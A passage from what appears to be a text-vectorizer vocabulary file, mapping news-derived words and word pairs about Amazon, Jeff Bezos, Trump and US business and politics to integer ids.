"recommend postal": 174948, "important stories": 174949, "american frame": 174950, "consumers digital": 174951, "lives strangers": 174952, "boasting members": 174953, "function j4": 174954, "makes ebay": 174955, "edelman ceo": 174956, "alphabet earnings": 174957, "protect gop": 174958, "armstrong jones": 174959, "blood": 174960, "began earlier": 174961, "vanderwaal": 174962, "past amazon": 174963, "taxes generated": 174964, "anchor retail": 174965, "137billion r1": 174966, "composite": 174967, "new investments": 174968, "policies reporting": 174969, "handgun": 174970, "years offering": 174971, "just played": 174972, "tech prosperity": 174973, "estate department": 174974, "pineiro": 174975, "asset think": 174976, "cinch": 174977, "administration rejects": 174978, "list trump": 174979, "grammer self": 174980, "year adopting": 174981, "margie": 174982, "unease mass": 174983, "new anonymous": 174984, "project includes": 174985, "approved kentucky": 174986, "circuitous": 174987, "services version": 174988, "friendly nickname": 174989, "dragged": 174990, "f7a p7a": 174991, "good sign": 174992, "money reuters": 174993, "store joins": 174994, "including customer": 174995, "jacobs sony": 174996, "citizen action": 174997, "reportedly started": 174998, "poodle isn": 174999, "skilled workers": 175000, "hand rid": 175001, "effect change": 175002, "skew": 175003, "political journalism": 175004, "sellers sell": 175005, "union backed": 175006, "calendar shows": 175007, "shiff claimed": 175008, "enforce deal": 175009, "georgia county": 175010, "new mobile": 175011, "neverland": 175012, "oil rallied": 175013, "prosecutorial": 175014, "rumored start": 175015, "6pm foto": 175016, "fundamentally does": 175017, "aside presidential": 175018, "typeerror r4ee": 175019, "employees tm": 175020, "practice linked": 175021, "published highly": 175022, "think probably": 175023, "hmmm": 175024, "eviction family": 175025, "merkel clashed": 175026, "schizophrenia": 175027, "saudi hack": 175028, "states states": 175029, "infowars conspiracy": 175030, "hashtag": 175031, "alphabet tencent": 175032, "text to\u0430quotes": 175033, "nir": 175034, "giants 2018": 175035, "lower priced": 175036, "relationship amazon": 175037, "grand hyatt": 175038, "donnell delete": 175039, "journos": 175040, "congress failed": 175041, "amazon oft": 175042, "major policy": 175043, "warner": 175044, "134": 175045, "ensure packages": 175046, "2017 lendio": 175047, "articles social": 175048, "contrasts sharply": 175049, "favor amazon": 175050, "space tourist": 175051, "development investing": 175052, "trump begins": 175053, "sourcegregg": 175054, "year gardner": 175055, "bizarre fascist": 175056, "concerns appears": 175057, "conway jim": 175058, "steering clear": 175059, "anti conservative": 175060, "sent letter": 175061, "bonafide": 175062, "huge disadvantage": 175063, "ttwo bearish": 175064, "energy related": 175065, "india nahata": 175066, "council according": 175067, "higher sales": 175068, "regularly accuses": 175069, "prosecute fare": 175070, "raj": 175071, "canada select": 175072, "capital hosted": 175073, "lethal tumors": 175074, "klux": 175075, "faddist": 175076, "rate moves": 175077, "minute shoppers": 175078, "kavanaugh hearing": 175079, "creates dangerous": 175080, "\u0430clearly": 175081, "real antitrust": 175082, "later reports": 175083, "clothes good": 175084, "alpha kappa": 175085, "provides maximum": 175086, "trump gop": 175087, "regulate google": 175088, "agency commends": 175089, "await response": 175090, "initialize var": 175091, "valley icons": 175092, "region researchers": 175093, "package volumes": 175094, "aborted": 175095, "president isn": 175096, "estranged": 175097, "leadership roles": 175098, "reporters account": 175099, "stock downgraded": 175100, "2fnews 2fnationworld": 175101, "market fell": 175102, "bahrain showed": 175103, "dabbling": 175104, "hydrogen fuel": 175105, "morning session": 175106, "keynote address": 175107, "gun background": 175108, "ge": 175109, "ente read": 175110, "hosting storefront": 175111, "leading retailer": 175112, "service hasn": 175113, "markupid var": 175114, "trump lauded": 175115, "cavalcade": 175116, "extraordinary pressures": 175117, "original proposal": 175118, "central american": 175119, "gates mackenzie": 175120, "permanent jobs": 175121, "gore bush": 175122, "introduced blind": 175123, "tv watchers": 175124, "quidsi": 175125, "unorthodox": 175126, "wages amounts": 175127, "tore apart": 175128, "tenth anniversary": 175129, "rates appropriations": 175130, "counterfeit crisis": 175131, "deals action": 175132, "147 million": 175133, "claims amazon": 175134, "parents declare": 175135, "evil time": 175136, "scant creating": 175137, "ami target": 175138, "foreground illumination": 175139, "significant foreign": 175140, "anger trump": 175141, "unworthy": 175142, "alexas": 175143, "magary amazon": 175144, "hannibal pushing": 175145, "opponents cramer": 175146, "service calculates": 175147, "541 900": 175148, "anti israel": 175149, "1622": 175150, "trading commission": 175151, "color won": 175152, "democrats midterms": 175153, "leaders tech": 175154, "turf according": 175155, "undaunted bezos": 175156, "detailing sit": 175157, "kings unique": 175158, "jester mitch": 175159, "nation financial": 175160, "disbelief advice": 175161, "della": 175162, "broaden": 175163, "says brown": 175164, "function l2": 175165, "competition including": 175166, "media freedom": 175167, "amazon fortunes": 175168, "nonprofit dedicated": 175169, "article added": 175170, "occurred despite": 175171, "mod djemcapitaljournaldaybreak": 175172, "plekken": 175173, "races including": 175174, "work axed": 175175, "cook political": 175176, "alaska massive": 175177, "charts paperback": 175178, "resource center": 175179, "personal finance": 175180, "privileged": 175181, "official feared": 175182, "sold yelp": 175183, "won support": 175184, "facebook reportedly": 175185, "injecting": 175186, "smaller operations": 175187, "retires multimillionaire": 175188, "meet court": 175189, "lawsuit ncaa": 175190, "policing american": 175191, "joannftzptrck yahoo": 175192, "supply prices": 175193, "kept amazon": 175194, "column appears": 175195, "fun gadgets": 175196, "scare minutes": 175197, "society people": 175198, "won happen": 175199, "congressman clyburn": 175200, "beaucoup bucks": 175201, "charging mark": 175202, "house fits": 175203, "ultimate goal": 175204, "adm cargill": 175205, "nah trump": 175206, "barrier 000": 175207, "errors suggesting": 175208, "competitive behaviors": 175209, "unthinkable": 175210, "far fewer": 175211, "change new": 175212, "combusted": 175213, "told dec": 175214, "uniforms insurance": 175215, "animated tragicomedy": 175216, "rising solidly": 175217, "ceo ebay": 175218, "ministry wants": 175219, "consensus expectations": 175220, "poway": 175221, "org note": 175222, "fit phil": 175223, "improve financial": 175224, "text meet": 175225, "mail trump": 175226, "crisis dana": 175227, "managers rite": 175228, "isps": 175229, "power mueller": 175230, "pussy grabber": 175231, "pearlstein": 175232, "thanks jim": 175233, "scathing report": 175234, "intensifying": 175235, "cold outside": 175236, "customers download": 175237, "vindicates": 175238, "solutions palantir": 175239, "reduced": 175240, "warren latest": 175241, "share agreements": 175242, "iphone leak": 175243, "high andrew": 175244, "midasletter": 175245, "artistic political": 175246, "finance rick": 175247, "shocking pay": 175248, "medicine medicare": 175249, "lepore norton": 175250, "healthcare act": 175251, "142 billion": 175252, "shares soaring": 175253, "alleged abuse": 175254, "cortez criticized": 175255, "restore media": 175256, "wrong especially": 175257, "valuation near": 175258, "collins maine": 175259, "infinitearticlecollection articlebundleid": 175260, "products meaning": 175261, "gabbana": 175262, "immediately critical": 175263, "fedex nightmare": 175264, "furore": 175265, "acquired whatsapp": 175266, "smithsonian longreads": 175267, "champion canelo": 175268, "summer vacation": 175269, "susan del": 175270, "declined": 175271, "payment decrease": 175272, "trump serving": 175273, "memphis 2386144": 175274, "contention": 175275, "decently": 175276, "recommend nominees": 175277, "intelligence predictive": 175278, "internet memes": 175279, "antiviral medication": 175280, "candidate called": 175281, "cloud player": 175282, "proposal sent": 175283, "notoriously tight": 175284, "american motorcycle": 175285, "djemcapitaljournaldaybreak": 175286, "epithets pignocchio": 175287, "competing goods": 175288, "debate shifted": 175289, "getting 000": 175290, "televisions studios": 175291, "foreign exchange": 175292, "roundup": 175293, "sanders spokesman": 175294, "chiusano": 175295, "tuesdays": 175296, "satchatuk": 175297, "cable": 175298, "cribs": 175299, "choices limited": 175300, "russia nato": 175301, "consumer price": 175302, "hinterlands": 175303, "saudi intelligence": 175304, "celebrated diversity": 175305, "whalen": 175306, "today conference": 175307, "approved senate": 175308, "early reviews": 175309, "presidential attacks": 175310, "cudgel wielded": 175311, "squeeze away": 175312, "huckabee stephen": 175313, "second lady": 175314, "nixon tattoo": 175315, "vertical marriage": 175316, "hammer": 175317, "amazon monumental": 175318, "says negotiations": 175319, "immigrants dreamers": 175320, "counterprotesters killing": 175321, "retina": 175322, "composite nearly": 175323, "griped": 175324, "eats guys": 175325, "trump mccain": 175326, "small tin": 175327, "legend frank": 175328, "cookbooks vegetarian": 175329, "national debate": 175330, "202 live": 175331, "renault nissan": 175332, "latest products": 175333, "signature campaign": 175334, "worthwhile potential": 175335, "party general": 175336, "international economist": 175337, "change affects": 175338, "game 100": 175339, "past races": 175340, "making donation": 175341, "firm profitero": 175342, "content imagine": 175343, "agencies routinely": 175344, "vmworld 2018": 175345, "code thon": 175346, "providing digital": 175347, "cnnpolitics status": 175348, "presents abundant": 175349, "outlandish theory": 175350, "georgetown": 175351, "retired mother": 175352, "chris andrew": 175353, "thinking brain": 175354, "financial force": 175355, "fixed": 175356, "package costs": 175357, "russell brandom": 175358, "value yesterday": 175359, "christine": 175360, "admits overpaying": 175361, "ascension": 175362, "slowdown copper": 175363, "cardinal cfo": 175364, "free marketer": 175365, "unimagined": 175366, "harvesting activities": 175367, "sanctions heartland": 175368, "704": 175369, "addictive": 175370, "traditionally blue": 175371, "ax": 175372, "proceed promoting": 175373, "rewarded pecker": 175374, "business delivering": 175375, "heights trump": 175376, "shook investors": 175377, "displaying modicum": 175378, "jeffrey worth": 175379, "trump breaking": 175380, "answer questions": 175381, "independent regular": 175382, "acknowledging amazon": 175383, "joy split": 175384, "musk tweets": 175385, "company trounced": 175386, "recycling bin": 175387, "tax optimisation": 175388, "status 1014144323934277632": 175389, "offenders subject": 175390, "breakups": 175391, "amazon tony": 175392, "released new": 175393, "mnuchin sen": 175394, "rulemaking focused": 175395, "intimidation": 175396, "compose report": 175397, "inc_autid": 175398, "agric commissioner": 175399, "washingtonian media": 175400, "rampant republican": 175401, "des": 175402, "technology jobs": 175403, "story whistleblower": 175404, "roughly 455": 175405, "dynamism": 175406, "coverage published": 175407, "government reforms": 175408, "incoming chairman": 175409, "decoratevideoapi": 175410, "using bartiromo": 175411, "growing buzz": 175412, "consistently stick": 175413, "writing disgraced": 175414, "currencies investors": 175415, "armando iannucci": 175416, "warehouse working": 175417, "albany marko": 175418, "council speaker": 175419, "code sharing": 175420, "nears trump": 175421, "grow little": 175422, "gmt graphic": 175423, "art notes": 175424, "deliver small": 175425, "highs amazon": 175426, "attorney defended": 175427, "wisconsin michigan": 175428, "iphone factories": 175429, "resistance nwdcresistance": 175430, "faith arizona": 175431, "physical bookstore": 175432, "typically associated": 175433, "jess": 175434, "exposed": 175435, "campaign team": 175436, "benefited": 175437, "eddie lampert": 175438, "unpublished": 175439, "khashoggi virginia": 175440, "241 sites": 175441, "0716et": 175442, "videos business": 175443, "group inside": 175444, "government shut": 175445, "directors": 175446, "basically fish": 175447, "english accent": 175448, "guidance jeff": 175449, "exchange ise": 175450, "huge box": 175451, "earlier poll": 175452, "aggrandizing behavior": 175453, "amazonian life": 175454, "world today": 175455, "pricing error": 175456, "statement online": 175457, "long political": 175458, "handle exactly": 175459, "agency brian": 175460, "care legislation": 175461, "sells china": 175462, "court struck": 175463, "survivor finale": 175464, "173 year": 175465, "2018 joy": 175466, "democrat alexandria": 175467, "agenda described": 175468, "proposed new": 175469, "public funds": 175470, "cruise": 175471, "rejected motion": 175472, "100418 jpg": 175473, "hardliners": 175474, "user fares": 175475, "narrative liberty": 175476, "credible story": 175477, "stories tales": 175478, "cnbc citing": 175479, "flyblog 2018": 175480, "daniels stars": 175481, "night 2839172": 175482, "helping mark": 175483, "financial control": 175484, "resisted following": 175485, "regularly attacking": 175486, "curtail friendly": 175487, "retailing afterward": 175488, "chaining": 175489, "held 33m": 175490, "toll": 175491, "fabricated stories": 175492, "457771": 175493, "president later": 175494, "shroud": 175495, "ill patients": 175496, "term access": 175497, "twitter announcing": 175498, "future filled": 175499, "wasnt": 175500, "reunite": 175501, "halted trump": 175502, "perspective bhp": 175503, "wegmann philip": 175504, "virginia voters": 175505, "jack gruber": 175506, "rhett": 175507, "headlinetext spacex": 175508, "prominent brands": 175509, "wreck": 175510, "cultural shaper": 175511, "empowerment index": 175512, "giving nazi": 175513, "board bloomberg": 175514, "leases": 175515, "owes": 175516, "presidential criticism": 175517, "big baby": 175518, "drew heat": 175519, "trump mention": 175520, "continued focus": 175521, "clerks": 175522, "company claiming": 175523, "package travels": 175524, "server719399 server719400": 175525, "old archie": 175526, "trump isbn": 175527, "clear signals": 175528, "carpet fanfare": 175529, "help underserved": 175530, "withstand major": 175531, "sharp devaluation": 175532, "work boots": 175533, "school trump": 175534, "california republican": 175535, "billionaire alleges": 175536, "delivers cvs": 175537, "buy signal": 175538, "millennials cramer": 175539, "chris van": 175540, "property theft": 175541, "putting limits": 175542, "crime syndicate": 175543, "valentines day": 175544, "blasted tech": 175545, "limited impact": 175546, "atini movement": 175547, "mohamad khairul": 175548, "sailing": 175549, "discuss changes": 175550, "logistics firm": 175551, "tablets": 175552, "worldwide despite": 175553, "populated counties": 175554, "galloway predicts": 175555, "leftover funds": 175556, "force set": 175557, "debuted oct": 175558, "500 seattle": 175559, "pre payments": 175560, "establishing regulatory": 175561, "amazon 525": 175562, "interviews bezos": 175563, "fertility treatments": 175564, "organizations covered": 175565, "fla president": 175566, "global agreement": 175567, "viable alternative": 175568, "china record": 175569, "faced great": 175570, "recording": 175571, "column amazon": 175572, "mistreatment": 175573, "nike just": 175574, "wearing plunging": 175575, "contemporary": 175576, "flames pennsylvania": 175577, "boxes things": 175578, "david ricardo": 175579, "137bn": 175580, "bolsonaro choice": 175581, "having ruled": 175582, "noomi rapace": 175583, "nickniedz daniel": 175584, "rank stocks": 175585, "2tn valuation": 175586, "inherent problems": 175587, "going backwards": 175588, "drive traffic": 175589, "air lines": 175590, "cody wilson": 175591, "leather belt": 175592, "jc ic": 175593, "member discounts": 175594, "focus areas": 175595, "people network": 175596, "critiques culminated": 175597, "stephens die": 175598, "nyse nyse": 175599, "life new": 175600, "mail pricing": 175601, "punish bezos": 175602, "taking softer": 175603, "hub fedex": 175604, "falling employee": 175605, "reflects president": 175606, "destinations travelpod": 175607, "completely clear": 175608, "morning cloudy": 175609, "lowest favorability": 175610, "shillue": 175611, "exaggerate": 175612, "movie villain": 175613, "apt represented": 175614, "farm airs": 175615, "goods read": 175616, "nikki haley": 175617, "conservative thinkers": 175618, "tracks": 175619, "fbi knew": 175620, "crime bezos": 175621, "hordes alleged": 175622, "heart wrenching": 175623, "assortment practices": 175624, "funk album": 175625, "nyc jeremiah": 175626, "fix today": 175627, "spam messages": 175628, "inc_autoplay_videoflag": 175629, "severely disruptive": 175630, "right nursing": 175631, "conservative democrats": 175632, "clinic bezos": 175633, "states called": 175634, "email whatsapp": 175635, "house denied": 175636, "guaranteed income": 175637, "rai massive": 175638, "nonpartisan center": 175639, "researcher hired": 175640, "earnings rising": 175641, "morial": 175642, "analysts including": 175643, "president biden": 175644, "bezos sharing": 175645, "mowers interestingly": 175646, "changed plans": 175647, "kumar vice": 175648, "staff accused": 175649, "systems": 175650, "private investigation": 175651, "messy": 175652, "realist": 175653, "enquirer claimed": 175654, "writeln a4ee": 175655, "bad working": 175656, "help wanted": 175657, "overconfident blue": 175658, "watoday": 175659, "business mailers": 175660, "entertainment department": 175661, "telecom giant": 175662, "app sounded": 175663, "burnt": 175664, "assets divorce": 175665, "abramson sethabramson": 175666, "nassau county": 175667, "imminent termination": 175668, "post employment": 175669, "resonating": 175670, "fair cocktail": 175671, "generally known": 175672, "trade war": 175673, "story brian": 175674, "commerce arm": 175675, "m2b standing": 175676, "story recommend": 175677, "sinclair attempted": 175678, "family contracted": 175679, "joan edwards": 175680, "million exit": 175681, "billion products": 175682, "customers security": 175683, "wants strong": 175684, "underperforming stores": 175685, "center employee": 175686, "products deliver": 175687, "s5 w5": 175688, "rest boeing": 175689, "cuaron": 175690, "attacks emma": 175691, "muttered": 175692, "visit geo": 175693, "columnist washington": 175694, "cheaper courier": 175695, "including israeli": 175696, "press stating": 175697, "halzack points": 175698, "planks": 175699, "power feeney": 175700, "reasons kudlow": 175701, "camp hike": 175702, "shoots practical": 175703, "barefoot": 175704, "private world": 175705, "shifting additional": 175706, "following protests": 175707, "ap org": 175708, "foundation book": 175709, "political favor": 175710, "tariff worries": 175711, "countercharge": 175712, "suppress rankings": 175713, "shipping consumer": 175714, "500 slipped": 175715, "corn maze": 175716, "site bezos": 175717, "blamed opponents": 175718, "air center": 175719, "athey contributed": 175720, "composite portrait": 175721, "shamrock": 175722, "300 million": 175723, "cloud service": 175724, "style barbecue": 175725, "problems bezos": 175726, "sells items": 175727, "commerce revenues": 175728, "similar change": 175729, "zurich cantonalbank": 175730, "nursing workers": 175731, "gear trio": 175732, "ny politicians": 175733, "engineering expertise": 175734, "democrat deplore": 175735, "style nicknaming": 175736, "future amzn": 175737, "amendment people": 175738, "enjoying celebratory": 175739, "marino": 175740, "high exposure": 175741, "tailer overall": 175742, "1814et": 175743, "commercial exists": 175744, "foreclosure proceedings": 175745, "reportedly misrouted": 175746, "alex webb": 175747, "property boom": 175748, "sirajahashmi": 175749, "mario bros": 175750, "140billion divorce": 175751, "provided proof": 175752, "trade government": 175753, "karma leila": 175754, "investment flows": 175755, "overnight lone": 175756, "nonviolent": 175757, "biggest hits": 175758, "reducing prices": 175759, "separate relationship": 175760, "knockdown": 175761, "bezos launched": 175762, "union say": 175763, "value diversified": 175764, "1874": 175765, "defiance": 175766, "caffeine cartel": 175767, "answers questions": 175768, "enquirer circulation": 175769, "multi millionaire": 175770, "design choices": 175771, "congress putting": 175772, "modernize digital": 175773, "unfairly distributed": 175774, "er": 175775, "escaping obligations": 175776, "putin": 175777, "birth": 175778, "ideas pick": 175779, "account focus": 175780, "annual net": 175781, "rocket senddonaldtospace": 175782, "twin sons": 175783, "president deeply": 175784, "papers jon": 175785, "investment": 175786, "xs iphone": 175787, "crime biography": 175788, "usual relationships": 175789, "577 shares": 175790, "surprised wish": 175791, "pulled ninja": 175792, "assessments": 175793, "featuring trump": 175794, "dems 2020": 175795, "seattle tech": 175796, "alarming results": 175797, "significant mudslides": 175798, "change business": 175799, "wounds": 175800, "support hasn": 175801, "accusations minutes": 175802, "term outcome": 175803, "running vendetta": 175804, "infrastructure cloud": 175805, "softness": 175806, "youngest deserves": 175807, "finalists northern": 175808, "girl": 175809, "financial free": 175810, "self aggrandizing": 175811, "aggressive incompetence": 175812, "reflexively": 175813, "santiago": 175814, "vote trump": 175815, "collapse britain": 175816, "single hot": 175817, "consumers don": 175818, "man amazon": 175819, "presents painful": 175820, "rapid succession": 175821, "adriana diaz": 175822, "dollar brand": 175823, "long earned": 175824, "stylish funny": 175825, "trade meetings": 175826, "amsterdammer nina": 175827, "content rain": 175828, "potential peril": 175829, "phil levy": 175830, "stock 8yrs": 175831, "muckerman interestingly": 175832, "nearly 400": 175833, "labeled": 175834, "work reduce": 175835, "collapse nasdaq": 175836, "deal think": 175837, "larger group": 175838, "investments 2018": 175839, "swamp judge": 175840, "officials eventually": 175841, "famous celebrities": 175842, "qanon page": 175843, "alex brandon": 175844, "action walmart": 175845, "old grammy": 175846, "disruptive process": 175847, "spirited": 175848, "embarrassment helal": 175849, "wirth": 175850, "wide advertising": 175851, "example corruption": 175852, "extra": 175853, "saluting saudi": 175854, "terror": 175855, "internet sector": 175856, "famous theme": 175857, "unspooling": 175858, "louise matsakis": 175859, "kill merger": 175860, "razors": 175861, "intelligence labs": 175862, "average ge": 175863, "pre funded": 175864, "cake case": 175865, "relatively mitigated": 175866, "totaling nearly": 175867, "rebuff charges": 175868, "packing vans": 175869, "ex administration": 175870, "gen": 175871, "russian infiltrators": 175872, "anticompetitive regulators": 175873, "isn obliged": 175874, "quitting music": 175875, "general commerce": 175876, "asked mccabe": 175877, "kind collectible": 175878, "revenue analysts": 175879, "coffee fast": 175880, "iceland": 175881, "patronage": 175882, "employee protests": 175883, "main function": 175884, "mintel": 175885, "clearances prospect": 175886, "firm market": 175887, "fi router": 175888, "publicaci\u00f3n_incorporada_incorporada_filaje_de_files inclucaciones": 175889, "camacho vp": 175890, "steidler member": 175891, "alyssa girl": 175892, "published lot": 175893, "sunny toronto": 175894, "amazon earned": 175895, "fine": 175896, "medication line": 175897, "damon": 175898, "fairly toothless": 175899, "report diana": 175900, "content requirement": 175901, "cycling": 175902, "1st budget": 175903, "statement saying": 175904, "intravenous": 175905, "gift wrapping": 175906, "partisan grassroots": 175907, "amazon lobbying": 175908, "midwestern": 175909, "longer build": 175910, "hirschfeld": 175911, "reviewer added": 175912, "value relative": 175913, "pushing long": 175914, "flexibility save": 175915, "brisco brands": 175916, "single subject": 175917, "telogia": 175918, "duncan macdonald": 175919, "makes amazon": 175920, "capital firm": 175921, "70x": 175922, "projects including": 175923, "vigilant capital": 175924, "sell unlabeled": 175925, "cohen wants": 175926, "afghan people": 175927, "saw bezos": 175928, "logic argues": 175929, "pressuring postmaster": 175930, "office posts": 175931, "california open": 175932, "apple won": 175933, "food footprint": 175934, "month according": 175935, "criminal counts": 175936, "second titled": 175937, "1534392060 mod": 175938, "freshwater": 175939, "giving amazon": 175940, "building satellite": 175941, "michael slammed": 175942, "electronic including": 175943, "meaning proposal": 175944, "politicize": 175945, "2016 launching": 175946, "cities involved": 175947, "nation lineup": 175948, "net subscriber": 175949, "published column": 175950, "multi billion": 175951, "sweet cool": 175952, "family": 175953, "recession began": 175954, "surprise surprise": 175955, "past bezos": 175956, "b8 c2x": 175957, "weeks paid": 175958, "account designed": 175959, "editorial team": 175960, "weissmann": 175961, "alphabet hasbro": 175962, "structure trump": 175963, "color coding": 175964, "ries amazon": 175965, "articles cbmimwh0dhbzoi8vd3d3lmjiyy5jb20vbmv3cy93b3jszc11cy1jyw5hzgetndu5njg2mdbsaxlodhrwczovl3d3dy1iymmty29tlmnkbi5hbxbwcm9qzwn0lm9yzy92l3mvd3d3lmjiyy5jb20vbmv3cy9hbxavd29ybgqtdxmty2fuywrhltq1oty4nja2p2ftcf9qc192ptaumsn3zwj2awv3ptemy2fwpxn3axbl": 175966, "cdc reports": 175967, "faces costly": 175968, "local businesses": 175969, "oregon aws": 175970, "beliefs outside": 175971, "peace deal": 175972, "accounting department": 175973, "reseller marketplace": 175974, "obama denied": 175975, "valuable intellectual": 175976, "senate votes": 175977, "reiterates": 175978, "attn gop": 175979, "amazon core": 175980, "trans mountain": 175981, "mistress elkan": 175982, "trump defender": 175983, "time targets": 175984, "franchisees": 175985, "doom trump": 175986, "tycoons buying": 175987, "costs bank": 175988, "refurbished": 175989, "perfect couple": 175990, "site basis": 175991, "hiding details": 175992, "hope uncle": 175993, "addition dash": 175994, "giant fulfilled": 175995, "monthly rent": 175996, "hits screens": 175997, "483f 4ebc": 175998, "interior security": 175999, "facts leave": 176000, "quiz": 176001, "cross border": 176002, "congress took": 176003, "looking inward": 176004, "refund despite": 176005, "joke alarming": 176006, "just cancel": 176007, "comments cbs": 176008, "cnnmoney amazon": 176009, "primary bid": 176010, "carrick": 176011, "narcissists": 176012, "suddenly cut": 176013, "crowd chanted": 176014, "big asterisk": 176015, "cig maker": 176016, "plays right": 176017, "big news": 176018, "negotiable": 176019, "ban purchases": 176020, "programme": 176021, "disappeared": 176022, "efficient online": 176023, "foreign powers": 176024, "dismiss critics": 176025, "exfoliate": 176026, "line target": 176027, "certainly isn": 176028, "staples": 176029, "superpowers daggers": 176030, "brin landed": 176031, "uspto": 176032, "splc ranks": 176033, "trump products": 176034, "law reduced": 176035, "cleanroom": 176036, "roomba maker": 176037, "25am share": 176038, "silly argument": 176039, "actuarial model": 176040, "helicopter crash": 176041, "reelection campaign": 176042, "expanding institutions": 176043, "extra nice": 176044, "stiff investigation": 176045, "ice gizmodo": 176046, "hiring men": 176047, "doesn effectively": 176048, "cw series": 176049, "scrambled normal": 176050, "emily blunt": 176051, "current postmaster": 176052, "organization headquarters": 176053, "elemental security": 176054, "properties include": 176055, "future far": 176056, "congress bezos": 176057, "reconsider": 176058, "troubling world": 176059, "workplace sexual": 176060, "local hosts": 176061, "whitesell hosted": 176062, "crony amazon": 176063, "solo trip": 176064, "increasing workers": 176065, "400 centers": 176066, "restaurant watch": 176067, "sabrina netflix": 176068, "scientific": 176069, "classic trump": 176070, "consumer technology": 176071, "8am hours": 176072, "sorts pharmaceuticals": 176073, "analysis concludes": 176074, "network deal": 176075, "wildlife populations": 176076, "business day": 176077, "american exporters": 176078, "maintain distance": 176079, "aged artist": 176080, "story italy": 176081, "alibaba shares": 176082, "facing prejudices": 176083, "struggle book": 176084, "vigorous enforcement": 176085, "hannah announces": 176086, "subscription publication": 176087, "boats": 176088, "administration holdover": 176089, "remnants": 176090, "clinton including": 176091, "believe retailers": 176092, "specific code": 176093, "attends": 176094, "private islands": 176095, "complication smerconish": 176096, "nationwide financial": 176097, "usps pilots": 176098, "markups": 176099, "race acc": 176100, "kings": 176101, "products virtually": 176102, "answer important": 176103, "avoid unionization": 176104, "jessie burton": 176105, "wall trump": 176106, "_sx342_ql70_ dpsrc": 176107, "prehistory": 176108, "rare accomplishment": 176109, "derisively named": 176110, "addition amazon": 176111, "bundle service": 176112, "warren better": 176113, "midterms trump": 176114, "rockefeller standard": 176115, "amazon bernie": 176116, "wages gordon": 176117, "just tad": 176118, "just provide": 176119, "competition bodies": 176120, "alexa voice": 176121, "security boss": 176122, "immigrants editor": 176123, "scathing pennsylvania": 176124, "city striking": 176125, "fat discounts": 176126, "opposite day": 176127, "arlington county": 176128, "cornered sen": 176129, "pricing strategy": 176130, "frequent villain": 176131, "broader omissions": 176132, "grilled tom": 176133, "expect price": 176134, "given brief": 176135, "axios jonathan": 176136, "cancelled meetings": 176137, "information suspecting": 176138, "disparage": 176139, "mind according": 176140, "besieged": 176141, "created network": 176142, "trees uk": 176143, "charts 2019": 176144, "form select": 176145, "alzheimers": 176146, "liz mair": 176147, "gold edges": 176148, "amazon soaring": 176149, "grief associated": 176150, "world cuomo": 176151, "additional expenses": 176152, "rodham": 176153, "office considering": 176154, "presidential campaigns": 176155, "taking broader": 176156, "treasury spokesperson": 176157, "fiscal 2019": 176158, "deliberations": 176159, "jeffreypbezos": 176160, "popular service": 176161, "easier bookings": 176162, "amazon ceaselessly": 176163, "story freezing": 176164, "ip associate": 176165, "enquirer thought": 176166, "valley airs": 176167, "anonymously trump": 176168, "general finally": 176169, "ended forest": 176170, "deal closes": 176171, "poll mommy": 176172, "spell disaster": 176173, "firmament having": 176174, "inevitably leads": 176175, "barbie doll": 176176, "pc vendors": 176177, "organization distorted": 176178, "quitting": 176179, "outlet power": 176180, "supporting democrats": 176181, "does collect": 176182, "damsel": 176183, "901": 176184, "marketplace brands": 176185, "criticized williams": 176186, "injured schools": 176187, "homebuilding": 176188, "newscom": 176189, "company neglected": 176190, "wave anthony": 176191, "totally legitimate": 176192, "correspondent procter": 176193, "server719396": 176194, "ozzy osbourne": 176195, "scooper": 176196, "spec stock": 176197, "perspective ocasio": 176198, "policy announced": 176199, "weekend check": 176200, "amat": 176201, "2009 pulitzer": 176202, "packages going": 176203, "marketwatch span": 176204, "produced series": 176205, "convention rep": 176206, "private jets": 176207, "rising political": 176208, "canada cravetv": 176209, "owner": 176210, "record rainfall": 176211, "offers lower": 176212, "content dysfunctional": 176213, "boosted brick": 176214, "hats sell": 176215, "democracy leading": 176216, "planet earth": 176217, "journalist knowledgeable": 176218, "sexxages": 176219, "commodity forte": 176220, "wasn fighting": 176221, "life probes": 176222, "egregious data": 176223, "recent occupant": 176224, "washingtonian reported": 176225, "students": 176226, "schrader triumph": 176227, "public colleges": 176228, "buy turquoise": 176229, "existsobject videocardcontents": 176230, "food outside": 176231, "remarkably casual": 176232, "skills new": 176233, "lobbyist organization": 176234, "security verify": 176235, "ambani chairman": 176236, "rikers": 176237, "offering talks": 176238, "pictures television": 176239, "obama national": 176240, "hung large": 176241, "259": 176242, "pentagon opted": 176243, "revenue trump": 176244, "false img_usrid": 176245, "contretemps": 176246, "commission uco": 176247, "shareholder suggested": 176248, "justice samuel": 176249, "data inside": 176250, "actually splitting": 176251, "post mistakenly": 176252, "inside students": 176253, "mountain 600": 176254, "good businessman": 176255, "naming people": 176256, "matt zapotosky": 176257, "counsel srussia": 176258, "costco founder": 176259, "suspended hundreds": 176260, "helping contain": 176261, "personal spending": 176262, "commensurate infrastructure": 176263, "swooned 106": 176264, "favorite smart": 176265, "fell unsurprisingly": 176266, "left despite": 176267, "things continue": 176268, "told journalist": 176269, "niro": 176270, "clearances trump": 176271, "landlocked": 176272, "president emanuel": 176273, "taiwan elections": 176274, "teachable": 176275, "offer personal": 176276, "key members": 176277, "recurring purchase": 176278, "significant accomplishments": 176279, "media moscow": 176280, "worst new": 176281, "anisha": 176282, "ford research": 176283, "later investigators": 176284, "stone": 176285, "balanced manner": 176286, "artists digital": 176287, "feature clothing": 176288, "associate provost": 176289, "washingtonfounder": 176290, "katherine ross": 176291, "zones designated": 176292, "collapse trading": 176293, "revenue coming": 176294, "glam": 176295, "history surpassing": 176296, "imposing retaliatory": 176297, "writes matthew": 176298, "haven survived": 176299, "business include": 176300, "center rob": 176301, "limit twitter": 176302, "locals pause": 176303, "wto rules": 176304, "rapidly remaking": 176305, "obama speaks": 176306, "represented small": 176307, "post decidedly": 176308, "worldwide public": 176309, "day government": 176310, "negative attention": 176311, "opened talks": 176312, "debt makes": 176313, "2011 following": 176314, "soared rallying": 176315, "president pecker": 176316, "topossibly": 176317, "racy photos": 176318, "drink lot": 176319, "rodriguez received": 176320, "industry earned": 176321, "hannukah": 176322, "directly competing": 176323, "tax scandal": 176324, "desk treadmill": 176325, "global politics": 176326, "catapulted rami": 176327, "report sponsored": 176328, "extinguished": 176329, "cut outs": 176330, "mind blowing": 176331, "debacle unfolded": 176332, "sports broadcast": 176333, "service earned": 176334, "ceebrate": 176335, "asks candidates": 176336, "post poster": 176337, "renowned researchers": 176338, "couple recent": 176339, "bloomfield preventing": 176340, "taking number": 176341, "favor google": 176342, "hotels cape": 176343, "pecker mackenzie": 176344, 